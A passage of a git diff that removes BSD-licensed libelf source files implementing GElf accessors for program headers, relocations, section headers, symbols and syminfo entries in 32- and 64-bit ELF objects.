-	return (d);
-}
-
-Elf32_Phdr *
-elf32_newphdr(Elf *e, size_t count)
-{
-	return (_libelf_newphdr(e, ELFCLASS32, count));
-}
-
-Elf64_Phdr *
-elf64_newphdr(Elf *e, size_t count)
-{
-	return (_libelf_newphdr(e, ELFCLASS64, count));
-}
-
-void *
-gelf_newphdr(Elf *e, size_t count)
-{
-	if (e == NULL) {
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-		return (NULL);
-	}
-	return (_libelf_newphdr(e, e->e_class, count));
-}
-
-int
-gelf_update_phdr(Elf *e, int ndx, GElf_Phdr *s)
-{
-	int ec, phnum;
-	void *ehdr;
-	Elf32_Phdr *ph32;
-	Elf64_Phdr *ph64;
-
-	if (s == NULL || e == NULL || e->e_kind != ELF_K_ELF ||
-	    ((ec = e->e_class) != ELFCLASS32 && ec != ELFCLASS64)) {
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-		return (0);
-	}
-
-	if (e->e_cmd == ELF_C_READ) {
-		LIBELF_SET_ERROR(MODE, 0);
-		return (0);
-	}
-
-	if ((ehdr = _libelf_ehdr(e, ec, 0)) == NULL)
-		return (0);
-
-	if (ec == ELFCLASS32)
-		phnum = ((Elf32_Ehdr *) ehdr)->e_phnum;
-	else
-		phnum = ((Elf64_Ehdr *) ehdr)->e_phnum;
-
-	if (ndx < 0 || ndx > phnum) {
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-		return (0);
-	}
-
-	(void) elf_flagphdr(e, ELF_C_SET, ELF_F_DIRTY);
-
-	if (ec == ELFCLASS64) {
-		ph64 = e->e_u.e_elf.e_phdr.e_phdr64 + ndx;
-		*ph64 = *s;
-		return (1);
-	}
-
-	ph32 = e->e_u.e_elf.e_phdr.e_phdr32 + ndx;
-
-	ph32->p_type     =  s->p_type;
-	ph32->p_flags    =  s->p_flags;
-	LIBELF_COPY_U32(ph32, s, p_offset);
-	LIBELF_COPY_U32(ph32, s, p_vaddr);
-	LIBELF_COPY_U32(ph32, s, p_paddr);
-	LIBELF_COPY_U32(ph32, s, p_filesz);
-	LIBELF_COPY_U32(ph32, s, p_memsz);
-	LIBELF_COPY_U32(ph32, s, p_align);
-
-	return (1);
-}
diff --git a/src/libelf/gelf_rel.c b/src/libelf/gelf_rel.c
deleted file mode 100644
index eb05717..0000000
--- a/src/libelf/gelf_rel.c
+++ /dev/null
@@ -1,159 +0,0 @@
-/*-
- * Copyright (c) 2006,2008 Joseph Koshy
- * All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
- * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
- * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
- * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
- * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
- * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
- * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
- * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
- * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
- * SUCH DAMAGE.
- */
-
-#include <sys/cdefs.h>
-
-#include <assert.h>
-#include <gelf.h>
-#include <limits.h>
-
-#include "_libelf.h"
-
-ELFTC_VCSID("$Id: gelf_rel.c 2272 2011-12-03 17:07:31Z jkoshy $");
-
-GElf_Rel *
-gelf_getrel(Elf_Data *ed, int ndx, GElf_Rel *dst)
-{
-	int ec;
-	Elf *e;
-	size_t msz;
-	Elf_Scn *scn;
-	uint32_t sh_type;
-	Elf32_Rel *rel32;
-	Elf64_Rel *rel64;
-	struct _Libelf_Data *d;
-
-	d = (struct _Libelf_Data *) ed;
-
-	if (d == NULL || ndx < 0 || dst == NULL ||
-	    (scn = d->d_scn) == NULL ||
-	    (e = scn->s_elf) == NULL) {
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-		return (NULL);
-	}
-
-	ec = e->e_class;
-	assert(ec == ELFCLASS32 || ec == ELFCLASS64);
-
-	if (ec == ELFCLASS32)
-		sh_type = scn->s_shdr.s_shdr32.sh_type;
-	else
-		sh_type = scn->s_shdr.s_shdr64.sh_type;
-
-	if (_libelf_xlate_shtype(sh_type) != ELF_T_REL) {
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-		return (NULL);
-	}
-
-	msz = _libelf_msize(ELF_T_REL, ec, e->e_version);
-
-	assert(msz > 0);
-
-	if (msz * ndx >= d->d_data.d_size) {
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-		return (NULL);
-	}
-
-	if (ec == ELFCLASS32) {
-		rel32 = (Elf32_Rel *) d->d_data.d_buf + ndx;
-
-		dst->r_offset = (Elf64_Addr) rel32->r_offset;
-		dst->r_info   = ELF64_R_INFO(
-		    (Elf64_Xword) ELF32_R_SYM(rel32->r_info),
-		    ELF32_R_TYPE(rel32->r_info));
-
-	} else {
-
-		rel64 = (Elf64_Rel *) d->d_data.d_buf + ndx;
-
-		*dst = *rel64;
-	}
-
-	return (dst);
-}
-
-int
-gelf_update_rel(Elf_Data *ed, int ndx, GElf_Rel *dr)
-{
-	int ec;
-	Elf *e;
-	size_t msz;
-	Elf_Scn *scn;
-	uint32_t sh_type;
-	Elf32_Rel *rel32;
-	Elf64_Rel *rel64;
-	struct _Libelf_Data *d;
-
-	d = (struct _Libelf_Data *) ed;
-
-	if (d == NULL || ndx < 0 || dr == NULL ||
-	    (scn = d->d_scn) == NULL ||
-	    (e = scn->s_elf) == NULL) {
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-		return (0);
-	}
-
-	ec = e->e_class;
-	assert(ec == ELFCLASS32 || ec == ELFCLASS64);
-
-	if (ec == ELFCLASS32)
-		sh_type = scn->s_shdr.s_shdr32.sh_type;
-	else
-		sh_type = scn->s_shdr.s_shdr64.sh_type;
-
-	if (_libelf_xlate_shtype(sh_type) != ELF_T_REL) {
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-		return (0);
-	}
-
-	msz = _libelf_msize(ELF_T_REL, ec, e->e_version);
-	assert(msz > 0);
-
-	if (msz * ndx >= d->d_data.d_size) {
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-		return (0);
-	}
-
-	if (ec == ELFCLASS32) {
-		rel32 = (Elf32_Rel *) d->d_data.d_buf + ndx;
-
-		LIBELF_COPY_U32(rel32, dr, r_offset);
-
-		if (ELF64_R_SYM(dr->r_info) > ELF32_R_SYM(~0UL) ||
-		    ELF64_R_TYPE(dr->r_info) > ELF32_R_TYPE(~0U)) {
-			LIBELF_SET_ERROR(RANGE, 0);
-			return (0);
-		}
-		rel32->r_info = ELF32_R_INFO(ELF64_R_SYM(dr->r_info),
-		    ELF64_R_TYPE(dr->r_info));
-	} else {
-		rel64 = (Elf64_Rel *) d->d_data.d_buf + ndx;
-
-		*rel64 = *dr;
-	}
-
-	return (1);
-}
diff --git a/src/libelf/gelf_rela.c b/src/libelf/gelf_rela.c
deleted file mode 100644
index cb61bdc..0000000
--- a/src/libelf/gelf_rela.c
+++ /dev/null
@@ -1,162 +0,0 @@
-/*-
- * Copyright (c) 2006,2008 Joseph Koshy
- * All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
- * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
- * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
- * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
- * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
- * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
- * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
- * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
- * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
- * SUCH DAMAGE.
- */
-
-#include <sys/cdefs.h>
-
-#include <assert.h>
-#include <gelf.h>
-#include <limits.h>
-
-#include "_libelf.h"
-
-ELFTC_VCSID("$Id: gelf_rela.c 2272 2011-12-03 17:07:31Z jkoshy $");
-
-GElf_Rela *
-gelf_getrela(Elf_Data *ed, int ndx, GElf_Rela *dst)
-{
-	int ec;
-	Elf *e;
-	size_t msz;
-	Elf_Scn *scn;
-	uint32_t sh_type;
-	Elf32_Rela *rela32;
-	Elf64_Rela *rela64;
-	struct _Libelf_Data *d;
-
-	d = (struct _Libelf_Data *) ed;
-
-	if (d == NULL || ndx < 0 || dst == NULL ||
-	    (scn = d->d_scn) == NULL ||
-	    (e = scn->s_elf) == NULL) {
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-		return (NULL);
-	}
-
-	ec = e->e_class;
-	assert(ec == ELFCLASS32 || ec == ELFCLASS64);
-
-	if (ec == ELFCLASS32)
-		sh_type = scn->s_shdr.s_shdr32.sh_type;
-	else
-		sh_type = scn->s_shdr.s_shdr64.sh_type;
-
-	if (_libelf_xlate_shtype(sh_type) != ELF_T_RELA) {
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-		return (NULL);
-	}
-
-	msz = _libelf_msize(ELF_T_RELA, ec, e->e_version);
-
-	assert(msz > 0);
-
-	if (msz * ndx >= d->d_data.d_size) {
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-		return (NULL);
-	}
-
-	if (ec == ELFCLASS32) {
-		rela32 = (Elf32_Rela *) d->d_data.d_buf + ndx;
-
-		dst->r_offset = (Elf64_Addr) rela32->r_offset;
-		dst->r_info   = ELF64_R_INFO(
-		    (Elf64_Xword) ELF32_R_SYM(rela32->r_info),
-		    ELF32_R_TYPE(rela32->r_info));
-		dst->r_addend = (Elf64_Sxword) rela32->r_addend;
-
-	} else {
-
-		rela64 = (Elf64_Rela *) d->d_data.d_buf + ndx;
-
-		*dst = *rela64;
-	}
-
-	return (dst);
-}
-
-int
-gelf_update_rela(Elf_Data *ed, int ndx, GElf_Rela *dr)
-{
-	int ec;
-	Elf *e;
-	size_t msz;
-	Elf_Scn *scn;
-	uint32_t sh_type;
-	Elf32_Rela *rela32;
-	Elf64_Rela *rela64;
-	struct _Libelf_Data *d;
-
-	d = (struct _Libelf_Data *) ed;
-
-	if (d == NULL || ndx < 0 || dr == NULL ||
-	    (scn = d->d_scn) == NULL ||
-	    (e = scn->s_elf) == NULL) {
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-		return (0);
-	}
-
-	ec = e->e_class;
-	assert(ec == ELFCLASS32 || ec == ELFCLASS64);
-
-	if (ec == ELFCLASS32)
-		sh_type = scn->s_shdr.s_shdr32.sh_type;
-	else
-		sh_type = scn->s_shdr.s_shdr64.sh_type;
-
-	if (_libelf_xlate_shtype(sh_type) != ELF_T_RELA) {
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-		return (0);
-	}
-
-	msz = _libelf_msize(ELF_T_RELA, ec, e->e_version);
-	assert(msz > 0);
-
-	if (msz * ndx >= d->d_data.d_size) {
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-		return (0);
-	}
-
-	if (ec == ELFCLASS32) {
-		rela32 = (Elf32_Rela *) d->d_data.d_buf + ndx;
-
-		LIBELF_COPY_U32(rela32, dr, r_offset);
-
-		if (ELF64_R_SYM(dr->r_info) > ELF32_R_SYM(~0UL) ||
-		    ELF64_R_TYPE(dr->r_info) > ELF32_R_TYPE(~0U)) {
-			LIBELF_SET_ERROR(RANGE, 0);
-			return (0);
-		}
-		rela32->r_info = ELF32_R_INFO(ELF64_R_SYM(dr->r_info),
-		    ELF64_R_TYPE(dr->r_info));
-
-		LIBELF_COPY_S32(rela32, dr, r_addend);
-	} else {
-		rela64 = (Elf64_Rela *) d->d_data.d_buf + ndx;
-
-		*rela64 = *dr;
-	}
-
-	return (1);
-}
diff --git a/src/libelf/gelf_shdr.c b/src/libelf/gelf_shdr.c
deleted file mode 100644
index d402489..0000000
--- a/src/libelf/gelf_shdr.c
+++ /dev/null
@@ -1,131 +0,0 @@
-/*-
- * Copyright (c) 2006,2008 Joseph Koshy
- * All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
- * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
- * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
- * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
- * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
- * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
- * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
- * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
- * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
- * SUCH DAMAGE.
- */
-
-#include <sys/cdefs.h>
-
-#include <assert.h>
-#include <gelf.h>
-#include <libelf.h>
-#include <limits.h>
-
-#include "_libelf.h"
-
-ELFTC_VCSID("$Id: gelf_shdr.c 2268 2011-12-03 17:05:11Z jkoshy $");
-
-Elf32_Shdr *
-elf32_getshdr(Elf_Scn *s)
-{
-	return (_libelf_getshdr(s, ELFCLASS32));
-}
-
-Elf64_Shdr *
-elf64_getshdr(Elf_Scn *s)
-{
-	return (_libelf_getshdr(s, ELFCLASS64));
-}
-
-GElf_Shdr *
-gelf_getshdr(Elf_Scn *s, GElf_Shdr *d)
-{
-	int ec;
-	void *sh;
-	Elf32_Shdr *sh32;
-	Elf64_Shdr *sh64;
-
-	if (d == NULL) {
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-		return (NULL);
-	}
-
-	if ((sh = _libelf_getshdr(s, ELFCLASSNONE)) == NULL)
-		return (NULL);
-
-	ec = s->s_elf->e_class;
-	assert(ec == ELFCLASS32 || ec == ELFCLASS64);
-
-	if (ec == ELFCLASS32) {
-		sh32 = (Elf32_Shdr *) sh;
-
-		d->sh_name      = sh32->sh_name;
-		d->sh_type      = sh32->sh_type;
-		d->sh_flags     = (Elf64_Xword) sh32->sh_flags;
-		d->sh_addr      = (Elf64_Addr) sh32->sh_addr;
-		d->sh_offset    = (Elf64_Off) sh32->sh_offset;
-		d->sh_size      = (Elf64_Xword) sh32->sh_size;
-		d->sh_link      = sh32->sh_link;
-		d->sh_info      = sh32->sh_info;
-		d->sh_addralign = (Elf64_Xword) sh32->sh_addralign;
-		d->sh_entsize   = (Elf64_Xword) sh32->sh_entsize;
-	} else {
-		sh64 = (Elf64_Shdr *) sh;
-		*d = *sh64;
-	}
-
-	return (d);
-}
-
-int
-gelf_update_shdr(Elf_Scn *scn, GElf_Shdr *s)
-{
-	int ec;
-	Elf *e;
-	Elf32_Shdr *sh32;
-
-
-	if (s == NULL || scn == NULL || (e = scn->s_elf) == NULL ||
-	    e->e_kind != ELF_K_ELF ||
-	    ((ec = e->e_class) != ELFCLASS32 && ec != ELFCLASS64)) {
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-		return (0);
-	}
-
-	if (e->e_cmd == ELF_C_READ) {
-		LIBELF_SET_ERROR(MODE, 0);
-		return (0);
-	}
-
-	(void) elf_flagscn(scn, ELF_C_SET, ELF_F_DIRTY);
-
-	if (ec == ELFCLASS64) {
-		scn->s_shdr.s_shdr64 = *s;
-		return (1);
-	}
-
-	sh32 = &scn->s_shdr.s_shdr32;
-
-	sh32->sh_name	 =  s->sh_name;
-	sh32->sh_type	 =  s->sh_type;
-	LIBELF_COPY_U32(sh32, s, sh_flags);
-	LIBELF_COPY_U32(sh32, s, sh_addr);
-	LIBELF_COPY_U32(sh32, s, sh_offset);
-	LIBELF_COPY_U32(sh32, s, sh_size);
-	sh32->sh_link	 =  s->sh_link;
-	sh32->sh_info	 =  s->sh_info;
-	LIBELF_COPY_U32(sh32, s, sh_addralign);
-	LIBELF_COPY_U32(sh32, s, sh_entsize);
-
-	return (1);
-}
diff --git a/src/libelf/gelf_sym.c b/src/libelf/gelf_sym.c
deleted file mode 100644
index 4a490d9..0000000
--- a/src/libelf/gelf_sym.c
+++ /dev/null
@@ -1,160 +0,0 @@
-/*-
- * Copyright (c) 2006,2008 Joseph Koshy
- * All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
- * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
- * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
- * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
- * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
- * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
- * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
- * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
- * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
- * SUCH DAMAGE.
- */
-
-#include <sys/cdefs.h>
-
-#include <assert.h>
-#include <gelf.h>
-#include <limits.h>
-
-#include "_libelf.h"
-
-ELFTC_VCSID("$Id: gelf_sym.c 2272 2011-12-03 17:07:31Z jkoshy $");
-
-GElf_Sym *
-gelf_getsym(Elf_Data *ed, int ndx, GElf_Sym *dst)
-{
-	int ec;
-	Elf *e;
-	size_t msz;
-	Elf_Scn *scn;
-	uint32_t sh_type;
-	Elf32_Sym *sym32;
-	Elf64_Sym *sym64;
-	struct _Libelf_Data *d;
-
-	d = (struct _Libelf_Data *) ed;
-
-	if (d == NULL || ndx < 0 || dst == NULL ||
-	    (scn = d->d_scn) == NULL ||
-	    (e = scn->s_elf) == NULL) {
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-		return (NULL);
-	}
-
-	ec = e->e_class;
-	assert(ec == ELFCLASS32 || ec == ELFCLASS64);
-
-	if (ec == ELFCLASS32)
-		sh_type = scn->s_shdr.s_shdr32.sh_type;
-	else
-		sh_type = scn->s_shdr.s_shdr64.sh_type;
-
-	if (_libelf_xlate_shtype(sh_type) != ELF_T_SYM) {
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-		return (NULL);
-	}
-
-	msz = _libelf_msize(ELF_T_SYM, ec, e->e_version);
-
-	assert(msz > 0);
-
-	if (msz * ndx >= d->d_data.d_size) {
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-		return (NULL);
-	}
-
-	if (ec == ELFCLASS32) {
-
-		sym32 = (Elf32_Sym *) d->d_data.d_buf + ndx;
-
-		dst->st_name  = sym32->st_name;
-		dst->st_value = (Elf64_Addr) sym32->st_value;
-		dst->st_size  = (Elf64_Xword) sym32->st_size;
-		dst->st_info  = ELF64_ST_INFO(ELF32_ST_BIND(sym32->st_info),
-		    ELF32_ST_TYPE(sym32->st_info));
-		dst->st_other = sym32->st_other;
-		dst->st_shndx = sym32->st_shndx;
-	} else {
-
-		sym64 = (Elf64_Sym *) d->d_data.d_buf + ndx;
-
-		*dst = *sym64;
-	}
-
-	return (dst);
-}
-
-int
-gelf_update_sym(Elf_Data *ed, int ndx, GElf_Sym *gs)
-{
-	int ec;
-	Elf *e;
-	size_t msz;
-	Elf_Scn *scn;
-	uint32_t sh_type;
-	Elf32_Sym *sym32;
-	Elf64_Sym *sym64;
-	struct _Libelf_Data *d;
-
-	d = (struct _Libelf_Data *) ed;
-
-	if (d == NULL || ndx < 0 || gs == NULL ||
-	    (scn = d->d_scn) == NULL ||
-	    (e = scn->s_elf) == NULL) {
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-		return (0);
-	}
-
-	ec = e->e_class;
-	assert(ec == ELFCLASS32 || ec == ELFCLASS64);
-
-	if (ec == ELFCLASS32)
-		sh_type = scn->s_shdr.s_shdr32.sh_type;
-	else
-		sh_type = scn->s_shdr.s_shdr64.sh_type;
-
-	if (_libelf_xlate_shtype(sh_type) != ELF_T_SYM) {
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-		return (0);
-	}
-
-	msz = _libelf_msize(ELF_T_SYM, ec, e->e_version);
-	assert(msz > 0);
-
-	if (msz * ndx >= d->d_data.d_size) {
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-		return (0);
-	}
-
-	if (ec == ELFCLASS32) {
-		sym32 = (Elf32_Sym *) d->d_data.d_buf + ndx;
-
-		sym32->st_name  = gs->st_name;
-		sym32->st_info  = gs->st_info;
-		sym32->st_other = gs->st_other;
-		sym32->st_shndx = gs->st_shndx;
-
-		LIBELF_COPY_U32(sym32, gs, st_value);
-		LIBELF_COPY_U32(sym32, gs, st_size);
-	} else {
-		sym64 = (Elf64_Sym *) d->d_data.d_buf + ndx;
-
-		*sym64 = *gs;
-	}
-
-	return (1);
-}
diff --git a/src/libelf/gelf_syminfo.c b/src/libelf/gelf_syminfo.c
deleted file mode 100644
index bb2063d..0000000
--- a/src/libelf/gelf_syminfo.c
+++ /dev/null
@@ -1,151 +0,0 @@
-/*-
- * Copyright (c) 2006,2008 Joseph Koshy
- * All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
- * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
- * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
- * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
- * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
- * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
- * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
- * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
- * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
- * SUCH DAMAGE.
- */
-
-#include <sys/cdefs.h>
-
-#include <assert.h>
-#include <gelf.h>
-
-#include "_libelf.h"
-
-ELFTC_VCSID("$Id: gelf_syminfo.c 2272 2011-12-03 17:07:31Z jkoshy $");
-
-GElf_Syminfo *
-gelf_getsyminfo(Elf_Data *ed, int ndx, GElf_Syminfo *dst)
-{
-	int ec;
-	Elf *e;
-	size_t msz;
-	Elf_Scn *scn;
-	uint32_t sh_type;
-	struct _Libelf_Data *d;
-	Elf32_Syminfo *syminfo32;
-	Elf64_Syminfo *syminfo64;
-
-	d = (struct _Libelf_Data *) ed;
-
-	if (d == NULL || ndx < 0 || dst == NULL ||
-	    (scn = d->d_scn) == NULL ||
-	    (e = scn->s_elf) == NULL) {
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-		return (NULL);
-	}
-
-	ec = e->e_class;
-	assert(ec == ELFCLASS32 || ec == ELFCLASS64);
-
-	if (ec == ELFCLASS32)
-		sh_type = scn->s_shdr.s_shdr32.sh_type;
-	else
-		sh_type = scn->s_shdr.s_shdr64.sh_type;
-
-	if (_libelf_xlate_shtype(sh_type) != ELF_T_SYMINFO) {
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-		return (NULL);
-	}
-
-	msz = _libelf_msize(ELF_T_SYMINFO, ec, e->e_version);
-
-	assert(msz > 0);
-
-	if (msz * ndx >= d->d_data.d_size) {
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-		return (NULL);
-	}
-
-	if (ec == ELFCLASS32) {
-
-		syminfo32 = (Elf32_Syminfo *) d->d_data.d_buf + ndx;
-
-		dst->si_boundto = syminfo32->si_boundto;
-		dst->si_flags   = syminfo32->si_flags;
-
-	} else {
-
-		syminfo64 = (Elf64_Syminfo *) d->d_data.d_buf + ndx;
-
-		*dst = *syminfo64;
-	}
-
-	return (dst);
-}
-
-int
-gelf_update_syminfo(Elf_Data *ed, int ndx, GElf_Syminfo *gs)
-{
-	int ec;
-	Elf *e;
-	size_t msz;
-	Elf_Scn *scn;
-	uint32_t sh_type;
-	struct _Libelf_Data *d;
-	Elf32_Syminfo *syminfo32;
-	Elf64_Syminfo *syminfo64;
-
-	d = (struct _Libelf_Data *) ed;
-
-	if (d == NULL || ndx < 0 || gs == NULL ||
-	    (scn = d->d_scn) == NULL ||
-	    (e = scn->s_elf) == NULL) {
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-		return (0);
-	}
-
-	ec = e->e_class;
-	assert(ec == ELFCLASS32 || ec == ELFCLASS64);
-
-	if (ec == ELFCLASS32)
-		sh_type = scn->s_shdr.s_shdr32.sh_type;
-	else
-		sh_type = scn->s_shdr.s_shdr64.sh_type;
-
-	if (_libelf_xlate_shtype(sh_type) != ELF_T_SYMINFO) {
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-		return (0);
-	}
-
-	msz = _libelf_msize(ELF_T_SYMINFO, ec, e->e_version);
-	assert(msz > 0);
-
-	if (msz * ndx >= d->d_data.d_size) {
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-		return (0);
-	}
-
-	if (ec == ELFCLASS32) {
-		syminfo32 = (Elf32_Syminfo *) d->d_data.d_buf + ndx;
-
-		syminfo32->si_boundto  = gs->si_boundto;
-		syminfo32->si_flags  = gs->si_flags;
-
-	} else {
-		syminfo64 = (Elf64_Syminfo *) d->d_data.d_buf + ndx;
-
-		*syminfo64 = *gs;
-	}
-
-	return (1);
-}
diff --git a/src/libelf/gelf_symshndx.c b/src/libelf/gelf_symshndx.c
deleted file mode 100644
index 9cf3b75..0000000
--- a/src/libelf/gelf_symshndx.c
+++ /dev/null
@@ -1,136 +0,0 @@
-/*-
- * Copyright (c) 2006,2008 Joseph Koshy
- * All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
- * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
- * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
- * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
